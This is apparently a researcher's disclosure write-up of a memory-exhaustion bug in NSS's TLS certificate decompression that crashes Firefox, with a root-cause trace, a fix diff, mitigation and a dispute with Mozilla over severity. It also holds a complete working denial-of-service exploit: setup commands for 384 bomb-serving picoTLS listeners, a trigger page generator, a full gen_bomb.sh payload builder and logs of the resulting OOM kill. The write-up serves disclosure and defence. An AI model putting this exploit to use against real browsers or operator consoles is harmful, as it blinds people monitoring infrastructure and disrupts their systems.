Certificate compression bomb at control systems

one page load OOMs operator's only window — plant runs on, unwatched

`Discovered 24 Mar 2026 · Updated 21 Apr 2026`

```
Learned after the finding: Mozilla shipped the 100 KB cap in NSS 3.123 (16 Apr 2026, da54180cfbc9) and Firefox 150 / ESR 140.10 (21 Apr 2026) — the fix Cybernuke proposed — but triaged the report as a "stability" issue rather than a security vulnerability, scored it CVSS 3.6, assigned no CVE, and paid no bounty. Tracked as Mozilla Bug 2026156 and CERT/CC VU#191102. Cybernuke rejects the "stability" label, and the filed report already makes the case twice over. First, the crash defeats the one guarantee a browser exists to provide: it kills the one process every tab shares, the parent Fission never covered, so one hostile page ends every other tab's session. That is a security guarantee, not a stability one. Secondly, Mozilla's own remedy gives it away: the 100 KB cap it shipped is the DoS-hardening bound OpenSSL and BoringSSL already enforce, and the IETF recommends bounding decompression memory. You do not ship a security fix for a bug that isn't one. Non-payment is a pattern. Mozilla joins Google, Microsoft, Oracle, Swiss Post and others whose declined or unpaid disclosures amount to around half a million.
```

A wall of screens, floor to ceiling: A power grid drawn in light, every substation and every line alive. A dim room, operators at their consoles, the low hum of a place that is never dark. One of them opens a web page. Nothing looks wrong. Then a screen blinks out. Then the next. Before they can react the wall is black, the operators blind. Out in the night, the grid runs on. No one is watching it.

Sixty-six kilobytes on the wire, sixteen megabytes pinned per handshake, the kernel kills Firefox. NSS trusts the wire's size claim, OpenSSL and BoringSSL cap it. Firefox switched compression on by default at version 128. Subresource retry multiplies one page load into thousands of stalled handshakes against the parent process Project Fission cannot isolate. The grid, the pipeline, the plant: Still running. Operator: Blind.

> *NSS allocates whatever the wire claims and pins it until the socket closes. Sixty-six kilobytes become sixteen megabytes; one page load ends every tab.*

The bug is a missing cap: NSS reads a three-byte field on the wire and allocates exactly that many bytes for the decompressed certificate. The field tops out at sixteen megabytes; NSS slurps up the value on blind trust, no bounds check. BoringSSL caps at one hundred kilobytes, so does OpenSSL. NSS reads the IETF security hint as optional.

The sixteen megabytes alone would be transient, freed when parsing finishes. The persistence is downstream: Parsing copies each certificate entry into a per-connection memory pool that survives the handshake and lives until the socket dies. The attacker holds it open. The decompressed buffer carries one real leaf at the head and sixty-six thousand junk entries thereafter; each lands in the pool. Sixty-six kilobytes on the wire become sixteen megabytes of pinned memory per connection, 248× amplification.

```
one page load
   |  wildcard DNS -> 384 origins x 6 <img> retries
   v
~2,300 TLS handshakes, each stalled open (server never sends Finished)
   |
   |  per handshake, wire -> heap:
   |     66 KB CompressedCertificate --zlib--> 16 MB      (248x amplification)
   |     uncompressed_length = 16,777,215
   |     1 real leaf + ~66k junk entries -> per-conn arena, pinned until close
   v
~2,300 x 16 MB  ~=  36 GB pinned in Firefox's single parent process
   |                (the one Project Fission cannot wall off)
   v
kernel OOM-kill -> every tab dies at once; the operator's console goes black
```

Firefox amplifies further. The attacker never sends Finished; the handshake stalls; Firefox retries on a fresh connection. A wildcard DNS record fans one page load into thousands of handshakes, and they arrive as ordinary subresources: the images of a page, not a destination the operator chose. NSS runs in Firefox's parent process, the one Project Fission cannot wall off; every other tab shares it: baseboard management controller (BMC), hypervisor, K8s dashboard, human-machine interface (HMI). The browser is not just the window onto the infrastructure; it is the lever the operator pulls. The OOM kill takes both.

Don't trust, verify

The attack is one zlib-compressed certificate-list: One real leaf at the head and sixty-six thousand junk CertificateEntry copies, packed flat, deflated, wrapped in a CompressedCertificate message of 66 kB on wire, 16 MB on heap. picoTLS is the shipping crate. A thirty-line patch across three files plus a precomputed `bomb.zlib` blob teaches the default certificate emitter to push the bomb in place of the real chain and skip CertificateVerify+Finished so NSS's per-connection certificate memory is not reclaimed.

> ▶ the patch, if you want to see how it works

picoTLS is a small, single-author TLS 1.3 stack; the entire CompressedCertificate emission is one function and one library. The cert-emit callback shrinks to six lines: One `ptls_push_message` block whose payload is the precomputed bytes from `bomb.zlib`. (The appendix carries `gen_bomb.sh`, which builds that blob: `openssl` mints a throwaway leaf, a little shell frames it plus ~66,050 junk `CertificateEntry` copies into one 16 MB Certificate message, and `pigz -z` deflates the result.) Every handshake emits the same bytes. No per-connection compress, no per-connection 16 MB allocation: The attacker's only per-handshake cost is the TLS state machine itself. Launch Firefox headless and watch the parent's resident memory climb (rows transcribed from the run):

```
$ firefox-esr -profile /tmp/burst/profile -headless \
      https://127.0.0.1:8999/index.html &
$ FF=$!; T0=$SECONDS
$ while kill -0 $FF 2>/dev/null; do
      rss=$(awk '/VmRSS/{print $2}' /proc/$FF/status 2>/dev/null)
      printf '%4ds  %6d MB\n' $((SECONDS-T0)) $((rss/1024))
      sleep 5
  done
   5s    4342 MB
  30s   19288 MB
  60s   29824 MB
  90s   36735 MB
 120s   42591 MB
 150s   43793 MB
# kill -0 fails: Firefox parent gone
$ dmesg | grep -A1 'Out of memory' | tail -2
[ 161.083] Out of memory: Killed process 12847 (firefox)
[ 161.083]   total-vm:46010848kB, anon-rss:44966624kB, ...
```

The kernel did the killing, not Firefox: `dmesg` records it OOM-killing the parent `firefox` process. Two-thousand-plus handshakes × sixteen megabytes each: thirty-six gigabytes notional, forty-three gigabytes resident with kernel and Firefox overhead on top.

Trace to vulnerability site

The decode site is one function in NSS's TLS 1.3 channel implementation. Three bytes off the wire, straight into a 32-bit unsigned, in `tls13con.c`:

```
    PRUint32 decodedCertLen = 0;
    rv = ssl3_ConsumeHandshakeNumber(ss, &decodedCertLen, 3, &b, &length);
```

The next branch only rejects zero:

```
    if (decodedCertLen == 0) {
        SSL_TRC(50, ("%d: TLS13[%d]: %s decoded certificate length is incorrect",
                     SSL_GETPID(), ss->fd, SSL_ROLE(ss),
                     ssl3_mapCertificateCompressionAlgorithmToName(ss, compressionA
        FATAL_ERROR(ss, SSL_ERROR_RX_MALFORMED_CERTIFICATE, bad_certificate);
        return SECFailure;
    }
```

No upper-bound check before the allocation twenty-eight lines on:

```
    /* Decoding received certificate. */
    PRUint8 *decodedCert = PORT_ZAlloc(decodedCertLen);
    if (!decodedCert) {
        return SECFailure;
    }
```

A zeroing `malloc` of `decodedCertLen` bytes, sixteen megabytes if the attacker says so, every page of it touched in one contiguous `zlib` write. `PORT_Free` hands that buffer back when parsing returns: the transient half.

The second half is the leak, where `tls13_HandleCertificate` walks the decompressed buffer and copies each junk entry's DER bytes into `peerCertArena` via `SECITEM_ArenaDupItem`; `ssl3_AuthCertificate` fails the junk chain at validation and returns without cleanup. The memory outlives every error path, freed only on the *next* handshake's `ssl3_CleanupPeerCerts()`, which a stalled connection never reaches.

Fix

Our fix caps the wire claim before allocating: a bound test on `decodedCertLen`, inserted immediately after the zero check and before the allocation. One hundred kilobytes matches the limit OpenSSL and BoringSSL already enforce.

```
--- a/lib/ssl/tls13con.c
+++ b/lib/ssl/tls13con.c
@@ -4058,6 +4058,19 @@
         FATAL_ERROR(ss, SSL_ERROR_RX_MALFORMED_CERTIFICATE, bad_certificate);
         return SECFailure;
     }
+    /* Cap the decompressed size to prevent memory exhaustion. The wire
+     * field is a uint24 (max 16MB) but the CompressedCertificate path
+     * bypasses the 128KB cap applied to regular handshake messages. 100KB
+     * matches the limit enforced by OpenSSL and BoringSSL. */
+#define MAX_CERT_UNCOMPRESSED_LEN (100 * 1024)
+    if (decodedCertLen > MAX_CERT_UNCOMPRESSED_LEN) {
+        SSL_TRC(50, ("%d: TLS13[%d]: %s uncompressed_length %u over cap %u",
+                     SSL_GETPID(), ss->fd, SSL_ROLE(ss),
+                     decodedCertLen, MAX_CERT_UNCOMPRESSED_LEN));
+        FATAL_ERROR(ss, SSL_ERROR_RX_MALFORMED_CERTIFICATE, bad_certificate);
+        return SECFailure;
+    }
+#undef MAX_CERT_UNCOMPRESSED_LEN

     /* opaque compressed_certificate_message<1..2^24-1>; */
     PRUint32 compressedCertLen = 0;
```

Re-run against a build carrying the cap: each `CompressedCertificate` whose `uncompressed_length` claims 16,777,215 is rejected at the bound test before the allocation, and the parent stays flat at its idle working set. The retry-multiplier shape survives and has nothing left to amplify.

Scope

NSS shipped `compress_certificate` in 3.98 (February 2024); Firefox enabled it by default at 128 (mid-2024), so every release since is vulnerable. BoringSSL and OpenSSL cap at a hundred kilobytes; NSS does not.

The deployment surface is not the desktop browsing population. It is the operations console. Germany's BSI *Mindeststandard für sichere Web-Browser* v3.0 names Firefox ESR as the recommended browser for federal endpoints handling *VS–NfD*; every Bundesverwaltung workstation runs it. The same shape lands at every industrial HMI console where the affected client is the only window onto a safety-critical system, and at the long tail of operations consoles delivered as web apps. Operators who cannot yet patch can switch the feature off in `about:config`:

```
security.tls.enable_certificate_compression = false
```

The headline score, CVSS 7.5 High, carries Scope: Unchanged, and the instinct runs the other way: one page ends the browser and every tab with it, which looks like damage escaping. It is not. Fission holds tabs apart by process and never covered the process NSS's handshake work runs in, so at the point of failure there was no boundary to cross. That absence is by design, and it is the finding underneath the finding: the mechanism that isolates tabs does not reach the code that parses hostile certificates. Scored either way, the console still goes dark. SHATTER crosses the same ground by another route in the same library.

Discovered 2026-03-24; disclosed 2026-03-25 (Mozilla + CERT/CC VRF#26-03-PLLDJ). Target: NSS 3.110 at release tag `NSS_3_110_RTM`. CWE-770 · CVSS 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Detected, exploited, & patched by cybernuke — cybernuke.bensmyth.com.

`Updated 21 Apr 2026 — a note on Scope, the metric people argue about: does the damage escape the thing that broke? It is contested because it rewards the wrong thing: the closer a component's legitimate job is to what an attacker wants from it, the less a compromise scores. So the metric is blindest where the guarantee matters most, and a call that raises a score has to be argued rather than asserted.`

`Virtual machines are one precedent. A guest escaping to its host is textbook; the hypervisor broke, the guest escaped, the mechanism whose only purpose was holding tenants apart failed. Nobody argues that call, Scope: Changed. We do not score Changed here, because Fission never covered the process that parses hostile certificates: at the point of failure there was no boundary to cross.`

`None of that touches the disagreement with the vendor, which does not depend on Scope. Mozilla's own severity ladder puts a web-triggerable denial of service needing a browser restart on the security scale, carving out only content-process crashes and parent crashes that need a compromised renderer. This is neither.`

`Appendix: standing it up`

`The orchestration is a stock TLS deployment, only scaled out: build the patched` `cli`, `mint a throwaway cert, and stand up one bomb-serving listener per origin the wildcard resolves to, fronted by a page whose images touch them all. Save the adversary diff above as` `burst.patch` `inside the clone below, which is the tree it applies to. Save` `gen_bomb.sh`, `at the foot of this appendix, into that clone too: the build block runs it.`

```
# Terminal 1 -- build the patched picoTLS server (one-time, ~30 s cold).
$ git clone https://github.com/h2o/picotls /tmp/picotls
$ cd /tmp/picotls && git checkout aef2262
$ git submodule update --init --recursive
$ patch -p1 < burst.patch               # the adversary diff above
$ bash gen_bomb.sh .  # writes bomb.zlib + bomb_meta.h
$ mkdir build && cd build
$ cmake .. >/dev/null
$ make -j8 cli >/dev/null
$ CLI=$PWD/cli                                    # the patched picoTLS server

# 384 patched listeners, one per origin port. Each forks per accept and
# delivers a fresh bomb; `sleep infinity` keeps cli's stdin open so the
# child holds the socket after the bomb is delivered (NSS's per-conn arena
# stays pinned until socket close). -N x25519 matches the curve Firefox
# selects so the bomb lands on the vulnerable code path.
$ mkdir /tmp/burst && cd /tmp/burst
$ openssl req -x509 -newkey ec \
      -pkeyopt ec_paramgen_curve:prime256v1 -nodes -days 1 \
      -subj /CN=evil.example -keyout srv.key -out srv.pem
$ for P in {9000..9383}; do
      sleep infinity | $CLI -c srv.pem -k srv.key -N x25519 127.0.0.1 $P &
  done

# One HTML body, 384 origins, 6 <img> per origin (Firefox's default
# max-persistent-connections-per-server), served by stock openssl on 8999.
# Firefox parses a top-level document only over a chain it accepts, so
# mint a throwaway certificate authority and a leaf for 127.0.0.1 under
# it. The 384 bomb listeners need no such thing: their arena is pinned
# while the junk chain is parsed, before anything rejects it.
$ openssl req -x509 -newkey ec \
      -pkeyopt ec_paramgen_curve:prime256v1 -nodes -days 1 \
      -subj /CN=BURST-CA -keyout ca.key -out ca.pem
$ openssl req -newkey ec \
      -pkeyopt ec_paramgen_curve:prime256v1 -nodes \
      -subj /CN=127.0.0.1 -addext subjectAltName=IP:127.0.0.1 \
      -keyout lp.key -out lp.csr
$ openssl x509 -req -in lp.csr -CA ca.pem -CAkey ca.key -CAcreateserial \
      -days 1 -copy_extensions copyall -out lp.pem
$ { echo '<html><body>'
    for i in {9000..9383}; do for j in 1 2 3 4 5 6; do
      printf '<img src="https://127.0.0.1:%d/x%d.png">' $i $j
    done; done; echo '</body></html>'
  } > index.html
$ openssl s_server -cert lp.pem -key lp.key -accept 8999 -WWW -quiet &

# A fresh Firefox profile trusting BURST-CA (certutil, libnss3-tools).
$ mkdir profile
$ certutil -N -d profile --empty-password
$ certutil -A -d profile -n burst-ca -t "CT,C,C" -i ca.pem
```

`Everything a maintainer needs is above. What follows is the wiring behind the` `gen_bomb.sh` `line in the build block, which also writes` `bomb_meta.h`, `the` `uncompressed_length` `the emitter puts on the wire. It is here so that a verifier whose own reconstruction disagrees with ours can find out whose fault that is. The CMake rule in the adversary patch bakes the blob into` `picotls-core` `at link time via` `ld -r -b binary`.

```
#!/usr/bin/env bash
# gen_bomb.sh DEST_DIR
#
# cybernuke BURST -- build the certificate-compression bomb the patched
# picoTLS server emits, writing two files into DEST_DIR (the picoTLS
# source root, where the CMake rule added by adversary.patch expects
# them):
#
#   bomb.zlib     the precomputed CompressedCertificate payload -- a zlib
#                 stream (RFC 1950, compression algorithm 1) that inflates to
#                 a TLS 1.3 Certificate message: one throwaway leaf followed
#                 by tens of thousands of junk CertificateEntry copies, sized
#                 to the uint24 maximum so NSS allocates the whole 16 MB.
#   bomb_meta.h   #define BURST_UNCOMPRESSED_LEN <N> -- the exact inflated
#                 length. NSS reads this off the wire as uncompressed_length,
#                 allocates that many bytes, then inflates into them; it MUST
#                 equal the true inflated size or the decode aborts before the
#                 bug is reached.
#
# The wire shape is identical every run; the leaf is minted fresh, so the
# exact bytes vary run-to-run but the message layout and length do not.
#
# Tools: openssl (leaf), printf/head/cat (assemble the message),
# pigz -z (zlib).
set -euo pipefail

DEST="${1:?usage: gen_bomb.sh DEST_DIR}"
DEST="$(cd "$DEST" && pwd)"

# uncompressed_length is a uint24 on the wire; 2^24-1 is the largest a single
# CompressedCertificate can claim, and what NSS then allocates in one shot.
TARGET=16777215

work="$(mktemp -d)"; trap 'rm -rf "$work"' EXIT; cd "$work"

# be24 N  ->  three big-endian length bytes
be24() {
    printf "$(printf '\\x%02x\\x%02x\\x%02x' \
        $(((($1)>>16)&255)) \
        $(((($1)>>8)&255)) \
        $((($1)&255)))"
}

# --- 1. a throwaway leaf certificate, DER ----------------------------------
openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 -nodes \
    -days 1 -subj /CN=burst.example -keyout leaf.key \
    -outform DER -out leaf.der 2>/dev/null
leaf_len=$(wc -c < leaf.der)

# --- 2. size the junk fill so the message is exactly TARGET bytes ----------
# message = context(1) + certlist_len(3) + leaf_entry + junk
#   leaf_entry = certlen(3) + leaf.der + ext(2)
#   junk unit  = certlen(3) + 249 data + ext(2) = 254 bytes
UNIT_DATA=249; UNIT=$((UNIT_DATA + 5))
leaf_entry=$((3 + leaf_len + 2))
junk_total=$((TARGET - 1 - 3 - leaf_entry))  # bytes for all junk entries
units=$((junk_total / UNIT))
rem=$((junk_total % UNIT))  # folded into one oversized entry

# --- 3. building blocks ----------------------------------------------------
{
  be24 "$UNIT_DATA"
  head -c "$UNIT_DATA" /dev/zero
  printf '\x00\x00'
} > unit.bin
# grow to 4096 units (~1 MB) by doubling
cp unit.bin block.bin
for _ in $(seq 1 12); do cat block.bin block.bin > b2 && mv b2 block.bin; done
block_units=4096

# how many canonical units to lay down (one entry is oversized to absorb rem)
if [ "$rem" -ne 0 ]; then keep=$((units - 1)); else keep=$units; fi
full=$((keep / block_units)); tail_units=$((keep % block_units))

# --- 4. assemble the decompressed Certificate message -----------------------
{
  printf '\x00'  # certificate_request_context<0>
  be24 $((TARGET - 4))  # certificate_list length
  be24 "$leaf_len"; cat leaf.der; printf '\x00\x00'  # the real leaf entry
  for _ in $(seq 1 "$full"); do cat block.bin; done  # bulk junk, whole blocks
  head -c $((tail_units * UNIT)) block.bin  # remaining whole units
  if [ "$rem" -ne 0 ]; then  # one entry absorbs the remainder
    last=$((UNIT_DATA + rem))
    be24 "$last"; head -c "$last" /dev/zero; printf '\x00\x00'
  fi
} > plain.bin

got=$(wc -c < plain.bin)
if [ "$got" -ne "$TARGET" ]; then
    echo "gen_bomb: assembled $got != target $TARGET" >&2
    exit 1
fi

# --- 5. compress (zlib / RFC 1950) and emit the meta header -----------------
pigz -z -9 -c plain.bin > "$DEST/bomb.zlib"
printf '#define BURST_UNCOMPRESSED_LEN %su\n' "$TARGET" > "$DEST/bomb_meta.h"

comp=$(wc -c < "$DEST/bomb.zlib")
printf 'gen_bomb: uncompressed=%s compressed=%s '\
'ratio=%sx  (1 leaf + %s junk entries)\n' \
    "$TARGET" "$comp" "$((TARGET / comp))" "$units" >&2
```